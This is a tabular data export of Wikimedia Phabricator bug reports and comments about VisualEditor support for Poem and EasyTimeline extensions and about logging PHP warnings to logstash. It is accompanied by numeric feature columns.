3.3333333333333335,4.0,10.666666666666666,0.6666666666666666,3.0,5.0,0.0,0.0,0.0,0.3333333333333333,8.666666666666666,0.3333333333333333,0.3333333333333333,0.0,5.0,11.333333333333334,6.333333333333333,0.0,0.0,0.0,5.0,0.0,1.6666666666666667,0.3333333333333333,1.0,0.6666666666666666,0.6666666666666666,0.0,0.0,3.743589743589743,0.6538461538461539,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
The wikitext is currently exposed in the data-parsoid attribute, but the contents of that attribute are supposed to be private and VE isn't supposed to look at them, just preserve them. There were earlier hacks in VE that extracted information from data-parsoid to work around Parsoid issues (specifically, we had to look at sHref for links and stx==html for list items), but Gabriel has been glaring at me every time I did that.

So to make the wikitext editable, it would have to be moved to a more public place, or data-parsoid would have to be declared semi-public. Either way, we need to spec how Parsoid is going to present the wikitext to VE and what VE is allowed to do with it.

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
Yeah, you probably don't want to continuously rerender as the user types, that would get crazy. But as you say, you'd want to reparse the entered wikitext so you can rerender it and give the user visual feedback. That should be interesting to implement."
183946,"VisualEditor: Fly-out wikitext editor for unsupported extensions' source blocks (""alienated content"")","It should be noted that a lot of this is already supported. I don't think it's perfect, and VE would have to perform some acrobatics to get it working, but you could essentially make it work if you set the wikitext source on the element, then serialized the DOM and re-parsed it to get the visual representation back.

James_F and I chatted about this for some time, and I'm pretty sure that's one of the saner ways to do it (unless you wanted to simply ignore the visual portion of ""VisualEditor"" and submit the alien's changes only when the user is done editing.",,,1355522188,,PHID-USER-nvavrb7ko66hv3xap6sb,True,,,PHID-TASK-64pve3q3gx7xk5rm2nk4,task_subcomment,,True,c1,1,True,,,-29,,1.5,0.0,0.0,2.0,0.5,4.0,0.0,0.0,0.0,1.5,0.0,1.5,0.0,1.0,0.0,2.0,0.0,6.0,10.0,0.0,3.0,0.5,0.0,0.0,2.5,0.0,0.0,0.0,0.5,0.5,0.0,4.5,1.0,3.5,1.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.5,6.0,0.5,1.0,0.0,1.5,0.0,0.0,1.0,0.0,3.0,0.0,1.0,1.5,1.0,0.5,0.0,0.0,0.0,6.0,2.0,5.5,2.5,4.0,9.5,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,7.5,10.0,2.5,0.0,1.5,0.0,7.5,0.0,1.0,0.5,0.0,1.5,0.0,0.0,0.0,3.827049180327869,0.8015027322404371,"It should be noted that a lot of this is already supported. I don't think it's perfect, and VE would have to perform some acrobatics to get it working, but you could essentially make it work if you set the wikitext source on the element, then serialized the DOM and re-parsed it to get the visual representation back.

James_F and I chatted about this for some time, and I'm pretty sure that's one of the saner ways to do it (unless you wanted to simply ignore the visual portion of ""VisualEditor"" and submit the alien's changes only when the user is done editing."
45120,Create a VisualEditor plugin tool to add/edit Poem blocks,"<poem>....</poem> is unparsed but shown as plain wikitext:
https://en.wikipedia.org/wiki/User:Raymond/poem

--------------------------
**Version**: unspecified
**Severity**: enhancement
**URL**: https://en.wikipedia.org/wiki/User:Raymond/poem",Low,25.0,1355479800,,PHID-USER-3uecblbxq24ycewm2cog,False,,False,PHID-TASK-j5lt672qs5xqtdfzq6de,task_description,open,True,c1,1,False,False,,-29,,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.5121951219512195,0.5365853658536586,"<poem>....</poem> is unparsed but shown as plain wikitext:
URL

--------------------------
**Version**: unspecified
**Severity**: enhancement
**URL**: URL"
183197,Create a VisualEditor plugin tool to add/edit Poem blocks,"(In reply to comment #3)
> (a) and (b), I guess. See bug 52061. I was going through a list of bugs in
> the Poem component, since they will all need to be moved once the change
> is merged (hoping it *is* merged, of course). Sorry if I'm getting too far
> ahead of myself, but this bug did seem like an odd one out, so I moved it
> out here.

Moving back to Poem, then. The bug can be moved the MediaWiki/editing or whatever later, when bug 52061 is closed-fixed.

> (In reply to comment #2)
> > > so I'm punting back to VisualEditor.
> > 
> > Why? It's not VisualEditor's problem that an extension hasn't been updated
> > yet…
> 
> Well, if Poem is to become a MediaWiki core feature, then it will turn into
> something for the VE team to worry about.

No, not really. It'll remain the responsibility of some code's maintainer, whoever that is (you?). In the absence of an obvious maintainer, that's the ""Platform team"", which sucks, but is rather outwith this bug report.

The VE team build VE and some of the MW-specific VE tools. We're not going to make an editor for EasyTimeline, and we're not going to make one for Poem, for the same reason. :-)

> Also, if I may point it out, the WikiHiero extension is seemingly supported
> in VisualEditor core. The extension itself knows nothing about VE. is that
> an anomaly?

Yes; the code's yet to be moved into that repo. Give me a spare 10 minutes. :-)",,,1389573042,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-j5lt672qs5xqtdfzq6de,task_subcomment,,True,c1,3,True,,,28,,1.0,0.0,0.0,1.5,1.5,2.5,0.5,0.0,0.0,0.0,1.0,1.5,0.0,0.0,0.0,1.5,0.0,5.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,3.5,0.5,0.5,1.5,0.5,0.0,0.5,0.0,1.5,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,14.0,1.0,1.0,0.5,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.5,2.5,18.0,0.5,2.0,10.5,0.0,1.0,0.0,0.5,4.0,0.0,2.0,0.0,2.5,8.0,8.5,0.5,1.0,0.0,2.5,0.0,2.0,1.5,0.5,1.5,0.0,0.0,0.0,3.3047929535575387,0.6151910318005034,"(In reply to comment #3)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Moving back to Poem, then. The bug can be moved the MediaWiki/editing or whatever later, when bug 52061 is closed-fixed.

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

No, not really. It'll remain the responsibility of some code's maintainer, whoever that is (you?). In the absence of an obvious maintainer, that's the ""Platform team"", which sucks, but is rather outwith this bug report.

The VE team build VE and some of the MW-specific VE tools. We're not going to make an editor for EasyTimeline, and we're not going to make one for Poem, for the same reason. :-)

QUOTE
QUOTE
QUOTE

Yes; the code's yet to be moved into that repo. Give me a spare 10 minutes. :-)"
183191,Create a VisualEditor plugin tool to add/edit Poem blocks,"(a) and (b), I guess. See bug 52061. I was going through a list of bugs in the Poem component, since they will all need to be moved once the change is merged (hoping it *is* merged, of course). Sorry if I'm getting too far ahead of myself, but this bug did seem like an odd one out, so I moved it out here.

(In reply to comment #2)
> > so I'm punting back to VisualEditor.
> 
> Why? It's not VisualEditor's problem that an extension hasn't been updated
> yet…

Well, if Poem is to become a MediaWiki core feature, then it will turn into something for the VE team to worry about.

Also, if I may point it out, the WikiHiero extension is seemingly supported in VisualEditor core. The extension itself knows nothing about VE. is that an anomaly?",,,1389572502,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-j5lt672qs5xqtdfzq6de,task_subcomment,,True,c1,3,False,,,28,,0.5,0.5,0.0,2.0,0.0,0.5,1.5,0.0,0.0,2.0,2.0,0.5,0.0,0.0,0.0,3.0,0.0,5.5,13.5,1.5,2.5,0.0,0.5,0.0,1.5,0.0,0.0,1.0,0.5,1.0,0.0,4.5,2.0,3.0,1.5,0.0,0.5,0.0,2.0,1.0,0.0,0.5,0.5,1.5,0.0,0.0,0.0,0.0,0.0,8.5,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.5,0.0,1.0,0.0,1.0,0.0,0.0,0.0,5.0,4.0,13.0,3.0,1.0,5.5,0.0,0.0,0.0,0.5,5.0,1.0,1.5,0.0,6.5,13.5,6.0,0.5,0.0,0.0,6.5,0.0,0.0,2.5,1.0,1.5,0.0,0.0,1.0,3.297626582278481,0.6917721518987341,"(a) and (b), I guess. See bug 52061. I was going through a list of bugs in the Poem component, since they will all need to be moved once the change is merged (hoping it *is* merged, of course). Sorry if I'm getting too far ahead of myself, but this bug did seem like an odd one out, so I moved it out here.

(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE

Well, if Poem is to become a MediaWiki core feature, then it will turn into something for the VE team to worry about.

Also, if I may point it out, the WikiHiero extension is seemingly supported in VisualEditor core. The extension itself knows nothing about VE. is that an anomaly?"
183186,Create a VisualEditor plugin tool to add/edit Poem blocks,"(In reply to comment #1)
> This is not a bug/enhancement in the Poem extension itself,

False. The Poem extension fails to register a VisualEditor enhanced editor for itself. This is a problem with that extension. See also bug 43115, bug 43118, bug 43127, etc.

> so I'm punting back to VisualEditor.

Why? It's not VisualEditor's problem that an extension hasn't been updated yet…

> If I've got this wrong, please don't move the bug back to Poem, as this
> component is hopefully going to be removed soon.

Please justify this.

All MW extensions that are deployed on the WMF cluster (and many that aren't) have a Bugzilla component, by policy. Are you saying that:

 (a) you want us to remove this extension from the cluster,
 (b) you want us to merge this extension into MW core, or
 (c) you want us to break our existing policy for this extension?",,,1389567907,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-j5lt672qs5xqtdfzq6de,task_subcomment,,True,c1,3,True,,,27,,1.5,0.0,0.0,1.0,1.5,0.5,0.5,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,2.5,0.0,3.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.5,1.0,1.5,2.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.5,0.5,0.0,9.0,1.5,2.5,0.0,0.0,0.0,0.0,0.5,0.5,0.5,0.0,0.0,0.5,0.0,0.5,0.0,0.5,0.0,4.0,3.0,11.5,1.5,1.5,8.0,0.0,0.0,0.0,0.5,5.0,0.5,2.0,0.0,6.0,9.0,5.0,1.0,0.0,0.0,6.0,0.0,2.0,2.0,2.5,1.5,0.0,0.0,2.5,3.571428571428571,0.6428571428571428,"(In reply to comment #1)
QUOTE

False. The Poem extension fails to register a VisualEditor enhanced editor for itself. This is a problem with that extension. See also bug 43115, bug 43118, bug 43127, etc.

QUOTE

Why? It's not VisualEditor's problem that an extension hasn't been updated yet…

QUOTE
QUOTE

Please justify this.

All MW extensions that are deployed on the WMF cluster (and many that aren't) have a Bugzilla component, by policy. Are you saying that:

 (a) you want us to remove this extension from the cluster,
 (b) you want us to merge this extension into MW core, or
 (c) you want us to break our existing policy for this extension?"
183180,Create a VisualEditor plugin tool to add/edit Poem blocks,"This is not a bug/enhancement in the Poem extension itself, so I'm punting back to VisualEditor.

If I've got this wrong, please don't move the bug back to Poem, as this component is hopefully going to be removed soon.",,,1389521779,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-j5lt672qs5xqtdfzq6de,task_subcomment,,True,c1,3,False,,,27,,0.0,0.0,0.0,2.0,4.0,2.0,2.0,0.0,0.0,2.0,4.0,6.0,0.0,0.0,0.0,4.0,0.0,14.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,14.0,2.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,6.0,12.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,3.62,0.76,"This is not a bug/enhancement in the Poem extension itself, so I'm punting back to VisualEditor.

If I've got this wrong, please don't move the bug back to Poem, as this component is hopefully going to be removed soon."
45115,Create a VisualEditor plugin tool to add/edit Timelines,"<timeline>....</timeline> is unparsed but shown as plain wikitext:
https://en.wikipedia.org/wiki/User:Raymond/timeline

**See Also**:
{T29157}",Low,25.0,1355477160,1479204677.0,PHID-USER-3uecblbxq24ycewm2cog,False,PHID-USER-orzyp3dswemhdgdznro5,False,PHID-TASK-xk6tqgbthziuxrrlpn37,task_description,declined,True,c1,1,False,False,False,-29,,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.185185185185185,0.8148148148148148,"<timeline>....</timeline> is unparsed but shown as plain wikitext:
URL

**See Also**:
{T29157}"
761003,Create a VisualEditor plugin tool to add/edit Timelines,"Same as {T29157}, EasyTimeline is legacy and will eventually be replaced in favor of the Graph extension (T137291). As such it does not make sense to invest in a VisualEditor plugin that will eventually be made obsolete when timelines are migrated to Graph.",,,1479204677,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-xk6tqgbthziuxrrlpn37,task_subcomment,,True,c1,3,True,,,176,,0.0,0.0,0.0,6.0,2.0,6.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,6.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,0.0,4.0,8.0,16.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,2.0,14.0,12.0,0.0,0.0,0.0,2.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,4.3,0.86,"Same as {T29157}, EasyTimeline is legacy and will eventually be replaced in favor of the Graph extension (T137291). As such it does not make sense to invest in a VisualEditor plugin that will eventually be made obsolete when timelines are migrated to Graph."
676142,Create a VisualEditor plugin tool to add/edit Timelines,I'd advise against work on this task; see {T137291} for the likely disposition of the extension.,,,1465386511,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xk6tqgbthziuxrrlpn37,task_subcomment,,True,c1,3,True,,,153,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,5.0,19.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.857142857142857,0.9523809523809523,I'd advise against work on this task; see {T137291} for the likely disposition of the extension.
182954,Create a VisualEditor plugin tool to add/edit Timelines,"Not a duplicate; bug 27157 is about making a stand-alone interactive visual tool to create and edit EasyTimelines, whereas this is specifically about doing it inside VisualEditor (and so not for wikitext users).",,,1403569577,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xk6tqgbthziuxrrlpn37,task_subcomment,,True,c1,3,True,,,51,,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,15.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,8.0,2.0,5.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,2.0,15.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,4.475,0.9,"Not a duplicate; bug 27157 is about making a stand-alone interactive visual tool to create and edit EasyTimelines, whereas this is specifically about doing it inside VisualEditor (and so not for wikitext users)."
182948,Create a VisualEditor plugin tool to add/edit Timelines,"I think this is a duplicate of bug 27157. Please revert if I'm wrong.

*** This bug has been marked as a duplicate of bug 27157 ***",,,1403559016,,PHID-USER-omdcggvudfkuawipp23i,False,,,PHID-TASK-xk6tqgbthziuxrrlpn37,task_subcomment,,True,c1,3,False,,,51,,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,6.0,11.0,3.0,0.0,11.0,0.0,0.0,0.0,0.0,3.0,3.0,6.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0285714285714285,0.6285714285714286,"I think this is a duplicate of bug 27157. Please revert if I'm wrong.

*** This bug has been marked as a duplicate of bug 27157 ***"
45091,VisualEditor: Switch over edit-success notice to use the deployed one,"On successful save, VE informs the user with a notification; however, this is not the same as the one deployed to the English Wikipedia (and elsewhere?). We should just inherit that, if possible.

--------------------------
**Version**: unspecified
**Severity**: trivial",Low,25.0,1355431920,1368638967.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-tnwafiqbhbl7tln47v6a,task_description,resolved,True,c1,1,True,False,True,-29,,0.0,0.0,0.0,0.0,2.0,8.0,2.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,10.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,12.0,3.0,2.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,10.0,5.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.933333333333333,0.75,"On successful save, VE informs the user with a notification; however, this is not the same as the one deployed to the English Wikipedia (and elsewhere?). We should just inherit that, if possible.

--------------------------
**Version**: unspecified
**Severity**: trivial"
181584,VisualEditor: Switch over edit-success notice to use the deployed one,"

*** This bug has been marked as a duplicate of bug 39632 ***",,,1368638967,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-tnwafiqbhbl7tln47v6a,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 39632 ***"
45086,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"//This task is about PHP errors, for fatals, see T89169.//

-------

Although we get PHP warnings in the apache syslogs, we don't really get much information about it:

Dec 13 18:30:43 10.0.11.48 apache2[9987]: PHP Warning:  preg_match() expects parameter 2 to be string, array given in /usr/local/apache/common-local/php-1.21wmf6/extensions/FundraiserLandingPage/FundraiserLandingPage.php on line 96
Dec 13 18:30:43 10.0.2.198 apache2[24462]: PHP Warning:  preg_match() expects parameter 2 to be string, array given in /usr/local/apache/common-local/php-1.21wmf6/extensions/FundraiserLandingPage/FundraiserLandingPage.php on line 96

We could do with recording more information (to a different log file on fluorine), like we do for both the fatal log and the exception logs

-------

Patches: <https://gerrit.wikimedia.org/r/#/q/message:T45086>

Checklist:

* [x] Improve de-duplication and message counting by ensuring `normalized_message` does not include the exception_id. – Pending review: https://gerrit.wikimedia.org/r/374895
* [x] Introduce $wgPropagateErrors to avoid duplicate logging under `type:hhvm` – Pending review: https://gerrit.wikimedia.org/r/338911
* [x] Enable $wgPropagateErrors in Beta Cluster. https://gerrit.wikimedia.org/r/c/409171/
* [x] Enable $wgPropagateErrors in production Cluster.
* [x] Remove unused `exception-json` conversion filter from `filter-mediawiki.conf` in `operations/puppet.git`
",Low,25.0,1355424060,1551732531.0,PHID-USER-6vzzsmi22zem6yttr6vp,False,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_description,resolved,True,c1,1,False,False,False,-29,,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,4.0,0.3333333333333333,0.0,0.3333333333333333,0.0,2.3333333333333335,0.3333333333333333,0.0,0.0,0.0,1.3333333333333333,0.0,1.0,8.0,0.0,1.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,4.0,1.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.666666666666666,0.0,0.0,0.0,0.6666666666666666,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,1.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,1.6666666666666667,1.0,13.333333333333334,0.3333333333333333,1.0,1.6666666666666667,0.0,0.0,0.0,0.0,3.3333333333333335,0.3333333333333333,3.0,0.0,1.6666666666666667,8.0,8.666666666666666,0.0,0.0,0.0,1.6666666666666667,0.0,0.0,0.3333333333333333,0.0,2.0,0.3333333333333333,0.0,6.333333333333333,4.2755306942053934,0.663798049340218,"//This task is about PHP errors, for fatals, see T89169.//

-------

Although we get PHP warnings in the apache syslogs, we don't really get much information about it:

Dec 13 18:30:43 10.0.11.48 apache2[9987]: PHP Warning:  preg_match() expects parameter 2 to be string, array given in /usr/local/apache/common-local/php-1.21wmf6/extensions/FundraiserLandingPage/FundraiserLandingPage.php on line 96
Dec 13 18:30:43 10.0.2.198 apache2[24462]: PHP Warning:  preg_match() expects parameter 2 to be string, array given in /usr/local/apache/common-local/php-1.21wmf6/extensions/FundraiserLandingPage/FundraiserLandingPage.php on line 96

We could do with recording more information (to a different log file on fluorine), like we do for both the fatal log and the exception logs

-------

Patches: <URL

Checklist:

* [x] Improve de-duplication and message counting by ensuring CODE does not include the exception_id. – Pending review: GERRIT_URL
* [x] Introduce $wgPropagateErrors to avoid duplicate logging under CODE – Pending review: GERRIT_URL
* [x] Enable $wgPropagateErrors in Beta Cluster. URL
* [x] Enable $wgPropagateErrors in production Cluster.
* [x] Remove unused CODE conversion filter from CODE in CODE
"
1236829,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,Nice! That concludes a multiple years project :-],,,1551739179,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,True,,,296,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,22.0,0.0,0.0,22.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,4.666666666666667,1.0,Nice! That concludes a multiple years project :-]
1236761,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,Thanks for pushing this through the finish line @Krinkle!,,,1551733519,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,296,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,22.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,5.777777777777778,1.0,Thanks for pushing this through the finish lineSCREEN_NAME!
1236693,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"Change 494042 **merged** by Herron:
[operations/puppet@production] logstash: Remove filter for unused 'exception-json' channel

[[https://gerrit.wikimedia.org/r/494042]]",,,1551729558,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,296,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,6.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.8529411764705883,0.7352941176470589,"Change 494042 **merged** by Herron:
[operations/puppet@production] logstash: Remove filter for unused 'exception-json' channel

[[GERRIT_URL]]"
1235878,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"Change 494042 had a related patch set uploaded (by Krinkle; owner: Krinkle):
[operations/puppet@production] logstash: Remove filter for unused 'exception-json' channel

[[https://gerrit.wikimedia.org/r/494042]]",,,1551628735,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,295,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,12.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,10.0,4.125,0.825,"Change 494042 had a related patch set uploaded (by Krinkle; owner: Krinkle):
